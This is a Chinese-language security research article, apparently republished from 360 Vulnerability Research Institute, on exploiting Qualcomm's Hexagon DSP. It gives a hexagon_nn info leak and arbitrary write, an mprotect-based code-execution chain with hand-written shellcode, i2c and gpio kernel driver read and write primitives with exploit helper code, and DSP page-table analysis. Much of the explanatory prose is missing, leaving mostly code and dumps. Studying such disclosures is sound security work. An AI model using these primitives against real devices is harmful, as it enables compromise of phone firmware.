|概述
-
Attacking Hexagon: Security Analysis of Qualcomm's aDSP [1]简单介绍了Hexagon架构、如何与AP进行通信、攻击面分析以及盲测DSP应用; -
Pwn2Own Qualcomm DSP [2]介绍了通过QEMU模拟的方式Fuzz DSP、内核攻击面、发现的漏洞(降级攻击、数据序列化、应用和内核); -
In-Depth Analyzing and Fuzzing for Qualcomm Hexagon Processor [3]介绍了一种基于路径覆盖的Fuzz方法
-
公开我实现的利用方法,据我所知,已有议题只是介绍发现的漏洞,从未公开利用方法; -
一种新的Fuzz方法,它可以在(某个)真机上动态测试应用、内核和虚拟机;
|背景知识介绍
LOAD:C014739C { r2 = ##0x51FFFE
LOAD:C01473A4 r4 = r16
LOAD:C01473A8 memw(r16 + #4) = r2.new }
|应用漏洞挖掘
-
/vendor/dsp/adsp
:包含在ADSP(audio)中运行的shell及应用; -
/vendor/dsp/cdsp
:包含在CDSP(compute)中运行的shell及应用; -
/vendor/lib/rfsa/adsp/
:其他应用;
信息泄露
src/interface.c
218 int hexagon_nn_get_dsp_offset(uint32_t *libhexagon_addr, uint32_t *fastrpc_shell_addr)
219 {
220
223 *fastrpc_shell_addr = (uint32_t)&qurt_sem_add;
224 *libhexagon_addr = (uint32_t)&hexagon_nn_get_dsp_offset;
230 }
src/interface.c
335 int hexagon_nn_set_debug_level(nn_id_t id, int level)
336 {
337 struct nn_graph *graph;
338 if ((graph = nn_id_to_graph(id)) == NULL) return -1;
339 if (level < 0) level = 0;
340 graph->debug_level = level;
341 return 0;
342 }
src/interface.c
hexagon_nn_domains_snpprint()
|
|-> hexagon_nn_snpprint()
|
|-> do_snpprint()
48 void do_snpprint(struct nn_graph *nn, char *buf, uint32_t n)
49 {
57 PRINTF_APPEND(buf,n,len,"nn @ %p: id=0x%lx debug_level=%dn",nn,nn->id,nn->debug_level);
58 for (node = nn->head; node != NULL; node = node->next) {
61 PRINTF_APPEND(buf,n,len,"node @ %p: id=0x%x type=0x%x(%s) n_inputs=%d n_outputs=%d padding=%x(%s)n", // 泄露node地址信息
62 node,
63 (unsigned int)node->node_id,
64 (unsigned int)node->node_type,
65 opname,
66 (unsigned int)node->n_inputs,
67 (unsigned int)node->n_outputs,
68 node->padding,
69 padname);
70 if (nn->debug_level > 0) for (i = 0; i < node->n_inputs; i++) {
71 PRINTF_APPEND(buf,n,len,"... input %d @ %p <src_id %x out_idx %d>n", // 泄露input地址信息
72 i,
73 node->inputs[i],
74 (unsigned int)node->input_refs[i].src_id,
75 (unsigned int)node->input_refs[i].output_idx);
76 }
77 if (nn->debug_level > 0) for (i = 0; i < node->n_outputs; i++) {
78 PRINTF_APPEND(buf,n,len,"... output %d @ %pn", i,node->outputs[i]); // 泄露output地址信息
79 }
84 }
任意写
src/interface.c
hexagon_nn_domains_append_empty_const_node(data_len)
|
|-> hexagon_nn_append_empty_const_node(data_len)
|
|-> do_append_empty_const_node(data_len)
|
|-> hexagon_nn_empty_const_ctor(data_len)
|
|-> const_tensor = tensor_alloc(data_len)
| |
| | if (data_size) {
| | } else {
| | newtensor->data = NULL;
| | }
| | newtensor->max_size = newtensor->data_size = data_size;
| | newtensor->self = newtensor;
|
| self->n_outputs = 1;
| self->outputs = &const_tensor->self
如果传入的data_len是0,那么新创建的tensor->data为NULL。这个tensor最终会赋值到node的outputs。我可以通过上述漏洞泄露outputs内容,因此,我可以知道tensor的地址。之后,我可以通过hexagon_nn_populate_const_node() API进行任意写:
hexagon_nn_populate_const_node(data, data_len, target_offset)
|
|-> do_populate_const_node(data, data_len, target_offset)
|
|-> hexagon_nn_populate_const(data, data_len, target_offset)
|
| start = (uint8_t *) node->outputs[0]->data + target_offset;
| memcpy(start, data, data_len);
漏洞利用
libs/common/qurt/computev65/include/qurt/qurt_mmap.h
int qurt_mem_mprotect(const void *addr, size_t length, int prot);
#define QURT_PROT_NONE 0x00
#define QURT_PROT_READ 0x01
#define QURT_PROT_WRITE 0x02
#define QURT_PROT_EXEC 0x04
include/nn_graph_options.h
148 struct nn_option_descriptor {
149 char const *name;
150 int typecode;
151 option_setter_fp setter_func;
152 int settercode;
153 int defval;
154 };
typedef int (*option_setter_fp)( struct nn_graph * nn, int code, int value );
src/graph_options.c
hexagon_nn_set_graph_option()
|
|-> nn_option_set_int()
53 int nn_option_set_int( struct nn_graph * nn, char const *name, int value )
54 {
55 struct nn_option_descriptor const * descp = OptionDescTable;
81 while( descp->name != 0 ){
82 if( strcmp(descp->name,name)==0){
83 logmsg(nn,3,"set %s = %d", name, value);
84 return (descp->setter_func)( nn, descp->settercode, value);
85 }
86 ++descp;
87 }
89 }
hexagon-readelf -a libhexagon_nn_skel.so
DynamicSection [
0x00000003 PLTGOT 0x113fd8
]
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
NULL 0x000000 0x00000000 0x00000000 0x000f4 0x00000 OS[0x70] 0x0
NULL 0x001000 0x00113000 0x00113000 0x019e8 0x02000 OS[0x22] 0x1000
LOAD 0x003000 0x00000000 0x00000000 0x110044 0x110044 R E 0x1000
LOAD 0x114000 0x00111000 0x00111000 0x08770 0x08771 RW 0x1000
DYNAMIC 0x115d4c 0x00112d4c 0x00112d4c 0x000b0 0x000b0 RW 0x4
GNU_RELRO 0x114000 0x00111000 0x00111000 0x01fd4 0x01fd4 RW 0x8
hexagon_nn_read(handle, fake_graph, &graph, sizeof(graph));
graph.id = idx;
graph.debug_level = 0;
graph.next_graph = 0;
hexagon_nn_write(handle, fake_graph, &graph, sizeof(graph));
value = fake_graph;
hexagon_nn_write(handle, graph_table + idx * 4, &value, sizeof(value));
nn_id_to_graph()
|
|-> find_graph_inner()
126 struct nn_graph * find_graph_inner(nn_id_t grid, struct graph_hashtable_entry **entryp )
127 {
129 struct graph_hashtable_entry * tabp = &graph_table[ find_hash(grid)];
135 struct nn_graph *grp = tabp->graph_list;
141 return grp;
159 }
prot = QURT_PROT_READ | QURT_PROT_WRITE | QURT_PROT_EXEC;
ret = hexagon_nn_set_graph_option(handle, FAKE_GRAPH_ID, MAGIC_OPTION, prot);
value = 0xa09dc000; // allocframe(#0)
hexagon_nn_write(handle, shellcode, &value, sizeof(value));
value = 0x7800c000; // r0 = #0
hexagon_nn_write(handle, shellcode+4, &value, sizeof(value));
value = 0x961ec01e; // dealloc_return
hexagon_nn_write(handle, shellcode+8, &value, sizeof(value));
adb logcat -s adsprpc
value = 0xa09dc000; // allocframe(#0)
hexagon_nn_write(handle, shellcode, &value, sizeof(value));
value = 0xaaaaaaaa; // crash
hexagon_nn_write(handle, shellcode+4, &value, sizeof(value));
value = 0x961ec01e; // dealloc_return
hexagon_nn_write(handle, shellcode+8, &value, sizeof(value));
############################### Process on aDSP CRASHED!!!!!!! ########################################
--------------------- Crash Details are furnished below ------------------------------------
process "/frpc/f0559f80 test" crashed in thread "/frpc/f0559f80 " due to TLBMISS RW occurrence
Crashed Shared Object fastrpc_shell_0 load address : 0x17400000
fastrpc_shell_0 load address : 17400000 and size : E19B4
Fault PC : 0x616104
LR : 0x1747D840
SP : 0x4B988A60
Bad va : 0xFFFFF000
FP : 0x4B988A60
SSR : 0x21F70871
Call trace:
[<1747D840>] mod_table_invoke+0x23C: (fastrpc_shell_0)
[<1747D840>] mod_table_invoke+0x23C: (fastrpc_shell_0)
[<1749C6B4>] fastrpc_invoke_dispatch+0x154: (fastrpc_shell_0)
[<17477874>] HAP_proc_adaptive_qos+0x3C8: (fastrpc_shell_0)
[<17479610>] _pl_fastrpc_uprocess+0x7D0: (fastrpc_shell_0)
----------------------------- End of Crash Report ------------
|内核漏洞挖掘
LOAD:B064F753 00000009 C /dev/i2c
LOAD:B0655ED2 00000009 C /dev/dog
LOAD:B06564D5 00000010 C /dev/err_qdi_pd
LOAD:B0657F00 0000000F C /dev/servnotif
LOAD:B0658324 00000015 C /dev/qdss_stm_mapQDI
LOAD:B065C1AB 00000010 C /dev/ipc_router
LOAD:B065C3FC 0000000A C /dev/smem
LOAD:B065C46F 0000000B C /dev/smp2p
LOAD:B065D2B4 0000000A C /dev/null
LOAD:B065DF4F 00000009 C /dev/npa
LOAD:B065E790 0000000A C /dev/diag
LOAD:B066079A 0000000C C /dev/timers
LOAD:B0660880 0000000D C /dev/utimers
LOAD:B06665E4 00000010 C /dev/GPIOIntQdi
LOAD:B06738D5 00000012 C /dev/fastrpc_kmem
LOAD:F0188028 0000000D C /dev/urandom
LOAD:F018AE95 00000009 C /dev/sem
libs/common/qurt/computev65/include/qurt/qurt_qdi_driver.h
99 typedef struct qdiobj {
100 qurt_qdi_pfn_invoke_t invoke;
101 int refcnt;
102 qurt_qdi_pfn_release_t release;
103 } qurt_qdi_obj_t;
libs/common/qurt/computev65/include/qurt/qurt_qdi_constants.h
256 #define QDI_REFCNT_BASE 0x510000
257 #define QDI_REFCNT_MAXED 0x51FFFD
258 #define QDI_REFCNT_INIT 0x51FFFE
259 #define QDI_REFCNT_PERM 0x51FFFF
#define QDI_INVOKE_ARGS
int, struct qdiobj *, int,
qurt_qdi_arg_t, qurt_qdi_arg_t, qurt_qdi_arg_t,
qurt_qdi_arg_t, qurt_qdi_arg_t, qurt_qdi_arg_t,
qurt_qdi_arg_t, qurt_qdi_arg_t, qurt_qdi_arg_t
第一个参数:handle (R0寄存器)
第二个参数:设备对应的opener(R1寄存器)
第三个参数:方法(R2寄存器)
第四个参数:方法第一个参数(R3寄存器)
第五个参数:方法第二个参数(R4寄存器)
第六个参数:方法第三个参数(R5寄存器)
第七个参数:方法第四个参数(SP + 0)
第八个参数:方法第五个参数(SP + 4)
第九个参数:方法第六个参数(SP + 8)
第十个参数:方法第七个参数(SP + 12)
第十一个参数:方法第八个参数(SP + 16)
第十二个参数:方法第九个参数(SP + 20)
i2c驱动任意地址读漏洞
LOAD:F004BFE4 { call save_r16_r21
LOAD:F004BFE8 p0 = cmp.eq(r1, #0)
LOAD:F004BFE8 allocframe(#0x30) }
LOAD:F004BFEC { r17:16 = combine(r4, r3) // r16 = 参数1, r17 = 参数2
LOAD:F004BFF0 if (!p0) r20 = add(r1, ##0x118)
LOAD:F004BFF8 if (p0) jump loc_F004C06C }
LOAD:F004BFFC { r15:14 = bitsplit(r2, #8) // r2保存要调用的method号,r15保存method号的高24位,r14保存低8位
LOAD:F004C000 r19 = add(r1, #0xF8)
LOAD:F004C004 r8 = memw(sp + #0x30+arg_C)
LOAD:F004C008 r4 = memw(sp + #0x30+arg_4) }
LOAD:F004C00C { p0 = cmp.eq(r15, #1) // method号第8位是否为1
LOAD:F004C010 r12 = memw(sp + #0x30+arg_10)
LOAD:F004C014 r9 = memw(sp + #0x30+arg_8) }
LOAD:F004C018 { if (p0) jump dev_i2c_methods
LOAD:F004C074 { p0 = cmp.gtu(r14, #0x13)
LOAD:F004C078 if (p0.new) jump:nt loc_F004C03C }
LOAD:F004C07C { r13 = memw(r14<<#2 + ##0xF019CBCC) } // 根据method号低8位确定处理函数
LOAD:F004C084 { jumpr r13
LOAD:F004C088 r3 = ##sub_F004D000
LOAD:F004C088 r7 = #0 }
LOAD:F004C1AC { call sub_F004D0F8
LOAD:F004C1B0 r0 = r16 } // r0保存参数1
LOAD:F004D0F8 { p0 = cmp.eq(r0, #0)
LOAD:F004D0F8 if (p0.new) jump:nt loc_F004D108 // 参数1如果为0,立即返回
LOAD:F004D0FC memd(sp + #-8+var_8) = r17:16
LOAD:F004D0FC allocframe(#8) }
LOAD:F004D100 { jump loc_F004D118
LOAD:F004D104 r16 = memw(r0 + #0x2C) } // 从参数1+0x2c处读取4字节到r16
LOAD:F004D118 { r0 = r16 // r0保存读取的数据
LOAD:F004D11C r17:16 = memd(sp + #-8+arg_0)
LOAD:F004D11C dealloc_return }
r0 + #0x2C
偏移处读取数据,然后返回给应用。gpio驱动任意地址写漏洞
LOAD:F00F2C50 { call save_r16_r23
LOAD:F00F2C54 allocframe(#0x48) }
LOAD:F00F2C58 { r17:16 = combine(r4, r5) // r17 = 参数2, r16 = 参数3
LOAD:F00F2C5C r19:18 = combine(r2, r3) // r19 = idx = 0x4FX, r18 = 参数1
LOAD:F00F2C60 r27 = memw(sp + #0x48+arg_14)
LOAD:F00F2C64 r23 = memw(sp + #0x48+arg_C) }
LOAD:F00F2C68 { r21:20 = combine(r0, r1)
LOAD:F00F2C6C r26 = memw(sp + #0x48+arg_4)
LOAD:F00F2C70 r25 = memw(sp + #0x48+arg_10) }
LOAD:F00F2C74 { call sub_F0127090 // 调用sub_F0127090
LOAD:F00F2C78 r22 = memw(sp + #0x48+arg_8)
LOAD:F00F2C7C r24 = memw(sp + #0x48+arg_0) }
LOAD:F00F2C80 { r5:4 = combine(r16, r17) // r5 = r16 = 参数3, r4 = r17 = 参数2
LOAD:F00F2C84 r3:2 = combine(r18, r19) // r3 = r18 = 参数1, r2 = r19 = idx
LOAD:F00F2C88 p0 = cmp.eq(r0, #0)
LOAD:F00F2C88 if (p0.new) jump:nt loc_F00F2CAC } // 假设返回值不为0
LOAD:F00F2C8C { r1:0 = combine(r20, r21)
LOAD:F00F2C90 memw(sp + #0x48+var_34) = r27
LOAD:F00F2C94 memw(sp + #0x48+var_38) = r25 }
LOAD:F00F2C98 { memw(sp + #0x48+var_3C) = r23
LOAD:F00F2C98 memw(sp + #0x48+var_40) = r22 }
LOAD:F00F2C9C { memw(sp + #0x48+var_44) = r26
LOAD:F00F2CA0 memw(sp + #0x48+var_48) = r24 }
LOAD:F00F2CA4 { call sub_F00F2D08 } // 调用sub_F00F2D08
LOAD:F00F2CA8 { jump loc_F015E020 }
LOAD:F00F2D08 { r11:10 = bitsplit(r2, #8) // r2 = idx = 0x4FX
LOAD:F00F2D0C r7:6 = combine(r0, r3) // r6 = r3 = 参数1
LOAD:F00F2D10 allocframe(#0x18) }
LOAD:F00F2D14 { p0 = cmp.eq(r11, #4)
LOAD:F00F2D18 if (!p0.new) r0 = #1
LOAD:F00F2D1C r12 = memw(sp + #0x18+arg_14)
LOAD:F00F2D20 r13 = memw(sp + #0x18+arg_C) }
LOAD:F00F2D24 { r14 = memw(sp + #0x18+arg_4)
LOAD:F00F2D28 r9 = memw(sp + #0x18+arg_10) }
LOAD:F00F2D2C { if (p0) jump loc_F00F2D54 // 调用loc_F00F2D54
LOAD:F00F2D30 r3 = memw(sp + #0x18+arg_8)
LOAD:F00F2D34 r8 = memw(sp + #0x18+arg_0) }
LOAD:F00F2D54 { r15 = add(r10, #-0xF4) // 减去0xF4
LOAD:F00F2D58 if (cmp.gtu(r15.new, #9)) jump:nt drv_gpio_method_1 }
LOAD:F00F2D5C { r15 = memw(r15<<#2 + ##0xF01D6CA4) }
LOAD:F00F2D64 { jumpr r15 }
LOAD:F00F2D68 drv_gpio_method_0: // 0x4F4
LOAD:F00F2D68 { call sub_F00F2984
LOAD:F00F2D6C r1:0 = combine(r4, r6) } // r0 = r6 = 参数1, r1 = r4 = 参数2
LOAD:F00F2D70 { jump loc_F00F2DF8 }
LOAD:F00F2984 { p0 = cmp.eq(r1, #0)
LOAD:F00F2988 r2 = r0 // r2 = r0 = 参数1
LOAD:F00F298C if (!p0.new) memw(r1) = r2.new } // memw(参数2) = 参数1
LOAD:F00F2990 { r0 = mux(p0, #-1, #0)
LOAD:F00F2994 jumpr lr }
|内核漏洞利用
23 int mqdi_i2c_read(uint32_t addr, uint32_t *value)
24 {
25 uint32_t ret;
26 uint32_t handle;
27 char device[9] = {'/', 'd', 'e', 'v', '/', 'i', '2', 'c', ' '};
28
29 handle = qurt_qdi_open(device);
30 ret = qurt_qdi_handle_invoke(handle, 0x109, addr - 0x2c, 0, 0, 0, 0, 0, 0, 0, 0);
31 qurt_qdi_close(handle);
32 *value = ret;
33 return 0;
34 }
36 int mqdi_gpio_write(uint32_t addr, uint32_t value)
37 {
38 uint32_t ret;
39 uint32_t handle;
40 char device[10] = {'/', 'd', 'r', 'v', '/', 'g', 'p', 'i', 'o', ' '};
41
42 handle = qurt_qdi_open(device);
43 ret = qurt_qdi_handle_invoke(handle, 0x4f4, value, addr,
44 0, 0, 0, 0, 0, 0, 0);
45 qurt_qdi_close(handle);
46 return 0;
47 }
137 uint32_t mqdi_i2c_read[59] = {
161 0x5a00c036, // 0xe6b1615c { call sub_e6b161c8 } => qurt_qdi_open()
177 0x5a00c01c, // 0xe6b1619c { call sub_e6b161d4 } => qurt_qdi_handle_invoke()
180 0x5a00c01c, // 0xe6b161a8 { call sub_e6b161e0 } => qurt_qdi_close()
188 0x00054ad2, // 0xe6b161c8
189 0x7800c19c, // 0xe6b161cc { r28 = qurt_qdi_qhi6 0x52b48c } 跳转到qurt_qdi_open()
190 0x529CC000, // 0xe6b161d0 { jumpr r28 }
191 0x00054ad2, // 0xe6b161d4
192 0x7800c01c, // 0xe6b161d8 { r28 = qurt_qdi_qhi12 0x52b480 } 跳转到qurt_qdi_handle_invoke()
193 0x529CC000, // 0xe6b161dc { jumpr r28 }
194 0x00054ad1, // 0xe6b161e0
195 0x7800c01c, // 0xe6b161e4 { r28 = qurt_qdi_close 0x52b440 } 跳转到qurt_qdi_close()
196 0x529CC000, // 0xe6b161e8 { jumpr r28 }
197 };
低位:| 0 0 1 1 | 0 1 1 1 | 0 0 0 0 | 0 0 0 0 | 1 1 0 0 | 0 1 1 0 | 1 0 1 1 |
| X W R U | C | - | Logical Page |
高位:| 1 1 0 0 | 0 0 0 0 | 0 0 0 0 | 1 1 1 0 | 0 0 0 0 | 1 0 1 0 | 0 0 1 1 | 0 1 0 1 |
| L| reserved | Size | Virtual Page |
X:可执行
W:可写
R:可读
U:用户可访问
C:Cache策略
L:Link bit. 置位后当前项指向下一级Transation List,31:0位表示下一级地址,其他位忽略
b000:4KB
b001:16KB
b010:64KB
b011:256KB
b100:1MB
b101:4MB
b110:16MB
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
NULL 0x000000 0x00000000 0x00000000 0x00214 0x00000 OS[0x70] 0x0
NULL 0x001000 0x8dc00000 0x8dc00000 0x01c78 0x02000 OS[0x22] 0x1000
LOAD 0x003000 0xf0000000 0x8be00000 0x0221c 0x03000 R E OS[0x80] 0x100000
LOAD 0x006000 0xf0003000 0x8be03000 0x33128 0x34000 RWE OS[0x80] 0x1000
LOAD 0x03a000 0xf0037000 0x8be37000 0x1b96a8 0x1ba000 R E OS[0x80] 0x1000
LOAD 0x1f4000 0xf01f1000 0x8bff1000 0xdae24 0x437000 RW OS[0x80] 0x1000
LOAD 0x2cf000 0xf0628000 0x8c428000 0x00b80 0x01000 RW OS[0x80] 0x1000
LOAD 0x2d0000 0xf0629000 0x8c429000 0x0b478 0x0c000 R OS[0x80] 0x1000
LOAD 0x2dc000 0xe0a35000 0x8c435000 0xa9ce8 0xa9ce8 R OS[0x80] 0x1000
LOAD 0x386000 0xe65c5000 0x8c4df000 0x00084 0x00084 R OS[0x80] 0x1000 // Translation List
LOAD 0x387000 0xb0000000 0x8c500000 0x794b88 0x795000 R E OS[0x80] 0x1000
LOAD 0xb1c000 0xb0795000 0x8cc95000 0xa9c20 0xb06000 RW OS[0x80] 0x1000
LOAD 0xbc6000 0xb129b000 0x8d79b000 0x01058 0x02000 RW OS[0x80] 0x1000
LOAD 0xbc8000 0xb129d000 0x8d79d000 0x6ea44 0x6f000 R OS[0x80] 0x1000
LOAD 0xc37000 0xb130c000 0x8d80c000 0x00000 0x3f4000 R OS[0x80] 0x1000
Transation List项:
E65C5000: 0x37000C6B
E65C5004: 0xC00E0A35
获得虚拟地址是:
| 1 1 1 0 | 0 0 0 0 | 1 0 1 0 | 0 0 1 1 | 0 1 0 1 | 0 0 0 0 | 0 0 0 0 | 0 0 0 0 |
即:
0xe0a35000:只读,且用户可读
| 31 4 | 3 2 1 0 |
| | | s |
S value | Entry Type | Page Size | L2 Entries | Address Bits
000 Page Directory 4KB 1024 31:12
001 Page Directory 16KB 256 31:10
010 Page Directory 64KB 64 31:8
011 Page Directory 256KB 16 31:6
100 Page Directory 1MB 4 31:4
101 Page Table 4MB N/A N/A
110 Page Table 16MB N/A N/A
111 Invalid Invalid N/A N/A
对于页大小是4MB和16MB的页表,只有一级页表。此时,它是page table(而不是page directory)。其中的页表项格式如下:
| 31 22 | 21 12 | 11 | 10 | 9 | 8 6 | 5 | 4 | 3 | 2 0 |
| Logical Page | - | X | W | R | C | U | T | - | 5 |
| 31 24 | 23 12 | 11 | 10 | 9 | 8 6 | 5 | 4 | 3 | 2 0 |
| Logical Page | - | X | W | R | C | U | T | - | 6 |
| 31 12 | 11 | 10 | 9 | 8 6 | 5 | 4 | 3 | 2 0 |
| Logical Page | X | W | R | C | U | T | - | - |
XLAT256M(0x00000fc0) XLAT64M(0x00000fc0) XLAT16M(0x00000fc0) 0x00000fc6
0x00000fc6
0x00000fc6
0x00000fc6
----------------------------------------------------------------------------------
XLAT16M(0x01000fc0) 0x01000fc6
0x01000fc6
0x01000fc6
0x01000fc6
----------------------------------------------------------------------------------
XLAT16M(0x02000fc0) 0x02000fc6
0x02000fc6
0x02000fc6
0x02000fc6
----------------------------------------------------------------------------------
XLAT16M(0x03000fc0) 0x03000fc6
0x03000fc6
0x03000fc6
0x03000fc6
----------------------------------------------------------------------------------
XLAT16M(0x04000fc0) XLAT64M(0x04000fc0) 0x04000fc6
0x04000fc6
0x04000fc6
0x04000fc6
----------------------------------------------------------------------------------
XLAT16M(0x05000fc0)
XLAT16M(0x06000fc0)
XLAT16M(0x07000fc0)
XLAT64M(0x08000fc0) XLAT16M(0x08000fc0)
XLAT16M(0x09000fc0)
XLAT16M(0x0a000fc0)
XLAT16M(0x0b000fc0)
XLAT64M(0x0c000fc0) XLAT16M(0x0c000fc0)
XLAT16M(0x0d000fc0)
XLAT16M(0x0e000fc0)
XLAT16M(0x0f000fc0)
One of the limitations of Memory Carveout is that it imposes the need to
allocate physically contiguous buffers on the HLOS memory. Therefore, HLOS has
to set-aside a portion of it's precious memory to be used exclusively by DSP.
This is inefficient as the memory is not fully utilized. To avoid this, some
Snapdragon devices contain an SMMU in between the Hexagon Processor and the
System Memory. The SMMU provides another translation layer and can be used to
scatter-gather physically discontiguous chunks of DDR memory, but present a
physically contiguous view to the Hexagon DSP processor.
|Fuzz方法
[ 0.000000] OF: reserved mem: initialized node adsp_region, compatible id shared-dma-pool
[ 0.000000] OF: reserved mem: initialized node pil_adsp_region, compatible id removed-dma-pool
[ 0.199925] platform 17300000.qcom,lpass: assigned reserved memory node pil_adsp_region
[ 0.202684] platform soc:qcom,msm-adsprpc-mem: assigned reserved memory node adsp_region
[ 0.319148] platform soc:qcom,ion:qcom,ion-heap@22: assigned reserved memory node adsp_region
[ 0.319437] ION heap adsp created at 0x00000000fb800000 with size 1000000
[ 1.970219] ueventd: firmware: loading 'adsp.mdt' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.mdt'
[ 1.970951] subsys-pil-tz 17300000.qcom,lpass: adsp: loading from 0x000000008be00000 to 0x000000008dc00000
[ 1.970981] ueventd: loading /devices/platform/soc/17300000.qcom,lpass/firmware/adsp.mdt took 0ms
[ 1.985596] ueventd: firmware: loading 'adsp.b02' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b02'
[ 1.986466] ueventd: firmware: loading 'adsp.b03' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b03'
[ 1.987542] ueventd: firmware: loading 'adsp.b04' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b04'
[ 1.988877] ueventd: firmware: loading 'adsp.b05' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b05'
[ 1.989899] ueventd: firmware: loading 'adsp.b06' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b06'
[ 1.995780] ueventd: firmware: loading 'adsp.b07' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b07'
[ 1.996943] ueventd: firmware: loading 'adsp.b08' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b08'
[ 1.998560] ueventd: firmware: loading 'adsp.b09' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b09'
[ 2.009371] ueventd: firmware: loading 'adsp.b10' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b10'
[ 2.015330] ueventd: firmware: loading 'adsp.b11' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b11'
[ 2.018807] ueventd: firmware: loading 'adsp.b12' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b12'
[ 2.021092] ueventd: firmware: loading 'adsp.b13' for '/devices/platform/soc/17300000.qcom,lpass/firmware/adsp.b13'
[ 2.098162] adsprpc: fastrpc_rpmsg_probe: opened rpmsg channel for cdsp
[ 2.148304] subsys-pil-tz 17300000.qcom,lpass: adsp: Brought out of reset
[ 2.159687] subsys-pil-tz 17300000.qcom,lpass: adsp: Power/Clock ready interrupt received
[ 2.164244] adsprpc: fastrpc_rpmsg_probe: opened rpmsg channel for adsp
[ 2.165704] apr_tal_rpmsg qcom,glink:adsp.apr_audio_svc.-1.-1: apr_tal_rpmsg_probe: Channel[apr_audio_svc] state[Up]
[ 2.291440] adsprpc: fastrpc_rpmsg_probe: opened rpmsg channel for slpi
[ 3.295849] sysmon-qmi: ssctl_new_server: Connection established between QMI handle and adsp's SSCTL service
[ 3.366099] ADSPRPC: audio_pdr_adsprpc is uninitialzed
[ 3.368962] apr_adsp_up: Q6 is Up
reserved-memory {
24821 pil_adsp_region {
24822 compatible = "removed-dma-pool";
24823 no-map;
24824 reg = <0x00 0x8be00000 0x00 0x1a00000>;
24825 linux,phandle = <0x7b>;
24826 phandle = <0x7b>;
24827 };
24915 adsp_region {
24916 compatible = "shared-dma-pool";
24917 alloc-ranges = <0x00 0x00 0x00 0xffffffff>;
24918 reusable;
24919 alignment = <0x00 0x400000>;
24920 size = <0x00 0x1000000>;
24921 linux,phandle = <0xb1>;
24922 phandle = <0xb1>;
24923 };
}
pil_adsp_mem = "/reserved-memory/pil_adsp_region";
adsp_mem = "/reserved-memory/adsp_region";
fastrpc_buf_alloc
soc {
3497 qcom,lpass@17300000 {
3498 compatible = "qcom,pil-tz-generic";
3499 reg = <0x17300000 0x100>;
3500 vdd_cx-supply = <0x20>;
3501 qcom,vdd_cx-uV-uA = <0x181 0x00>;
3502 qcom,proxy-reg-names = "vdd_cx";
3503 clocks = <0x25 0x00>;
3504 clock-names = "xo";
3505 qcom,proxy-clock-names = "xo";
3506 qcom,pas-id = <0x01>;
3507 qcom,proxy-timeout-ms = <0x2710>;
3508 qcom,smem-id = <0x1a7>;
3509 qcom,sysmon-id = <0x01>;
3510 qcom,ssctl-instance-id = <0x14>;
3511 qcom,firmware-name = "adsp";
3512 memory-region = <0x7b>;
3513 qcom,signal-aop;
3514 qcom,complete-ramdump;
3515 interrupts-extended = <0x01 0x00 0xa2 0x01 0x7c 0x00 0x00 0x7c 0x02 0x00 0x7c 0x01 0x00 0x7c 0x03 0x00 0x7c 0x07 0x00>;
3516 interrupt-names = "qcom,wdog qcom,err-fatal qcom,proxy-unvote qcom,err-ready qcom,stop-ack qcom,shutdown-ack";
3517 qcom,smem-states = <0x7d 0x00>;
3518 qcom,smem-state-names = "qcom,force-stop";
3519 mboxes = <0x1f 0x00>;
3520 mbox-names = "adsp-pil";
3521 };
}
[ 0.319437] ION heap adsp created at 0x00000000fb800000 with size 1000000
|映射Hexagon内存到EL3
| 63 50 | 49 48 | 47 30 | 29 17 | 16 | 15 12 | 11 2 | 1 | 0 |
| Upper block attributes | RES0 | Output address[47:30] | RES0 | nT | RES0 | Lower block attributes | 0 | 1 |
Lower block attributes:
| 11 | 10 | 9 8 | 7 6 | 5 | 4 2 | 1 | 0 |
| nG | AF | SH | AP | NS | AttrIndx | 0 | 1 |
| 0 | 0 | 0 0 | 1 0 | 0 | 0 0 1 | 0 | 1 |
|总结
|链接
-End-
原文始发于微信公众号(360漏洞研究院):技术前瞻|攻击DSP:揭开高通Hexagon的神秘面纱
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论